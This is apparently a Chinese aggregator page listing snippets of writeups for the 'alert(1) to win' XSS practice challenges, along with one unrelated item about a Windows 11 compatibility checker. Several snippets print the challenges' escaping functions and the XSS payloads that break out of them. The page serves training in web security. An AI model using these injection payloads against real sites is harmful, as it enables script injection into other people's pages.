alert(1) to win 11 - 相关文章

【alert(1) to win 11】的更多相关文章

alert(1) to win 一个练习XSS的平台,地址:https://alf.nu/alert1 Warmup 给出了一段JavaScript代码 function escape(s) { return '<script>console.log("'+s+'");</script>'; } 对s没有任何校验,payload为 ");alert(1);(" 或者 ");alert(1);// Adobe 代码如下 functio…

"alert(1) to win" writeup

地址:http://escape.alf.nu/ level 0: 注意补全,");alert(1)// level 1: 通过添加反斜线使用来转义的反斜线变为字符,\");alert(1)// level 2: 双引号,反斜杠都被转义了--没想到办法,就搜了搜,原来可以直接不管双引号而闭合<script>标签,可能优先级不同吧,</script><script>alert(1)// level 3: JSON.stringify() 方法可以将任意…

alert(1) to win Part Ⅰ

alert(1) to win Adobe: function escape(s) { s = s.replace(/"/g, '\\"'); return '<script>console.log("' + s + '");</script>'; } 此题将双引号转义为:\". 如果输入");alert(1)//,则输出:<script>console.log("\");alert(1)/…

微软官方 Win 11 “体检工具”太烂了？开发者自己做了一个

1.Win 10 免费升级到 Win 11 最近微软官方终于宣布了 Windows 11,不仅带来了全新的 UI,而且还有很多新功能:比如支持 Android 应用. 虽然微软官方已说明 Win 10 用户可以免费直接升级,不过 Win 11 有一些特定的要求(TPM 2.0),导致可能有超过 2/3 的电脑不能升级到新的操作系统. 为了帮助 Windows 用户知道他们的设备是否被支持,微软发布了他们的 PC 健康检查工具PC Health Check ,但这个应用程序还有很多不足之处,几乎没…

【20171027早】alert(1) to win 第9,10,11,12题

人在江湖,不服就干! 第9题: function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x; }); } function expandTemplate(template, args) {…

【20171027中】alert(1) to win 第13,14,15,16题

第13题题目: function escape(s) { var tag = document.createElement('iframe'); // For this one, you get to run any code you want, but in a "sandboxed" iframe. // // https://4i.am/?...raw=... just outputs whatever you pass in. // // Alerting from 4i.a…

【20171026早】alert(1) to win - 第六、七、八题

早上7点起床,又写了一篇小说发在了起点网上,有兴趣的可以看看.点击这里忙完后,继续练习,刚开始发现自己答题的速度有些慢,可能是因为对于html,javascript知识不是很精通,但是话又说回来,谁又能一开始就将所有的知识一下子就掌握的很熟练呢? 第六题. 题目: function escape(s) { // Slightly too lazy to make two input fields. // Pass in something like "TextNode#foo" va…

【20171025晚】alert(1) to win 第五题正则表达式过滤

吃过晚饭,再练一题第五题 function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"'); // URLs text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>'); // [[img123|Description]] text = text.replace(/\[\[(\w+)\|(…

【20171025中】alert(1) to win 脚本渲染自建

游戏误人生,一下午玩了将近四个小时的三国杀,后悔不已,然后重新拾起xss challenge,突发奇想,自己构建渲染后的html. 从最简单的开始. 自动检测html: <!DOCTYPE html> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body>…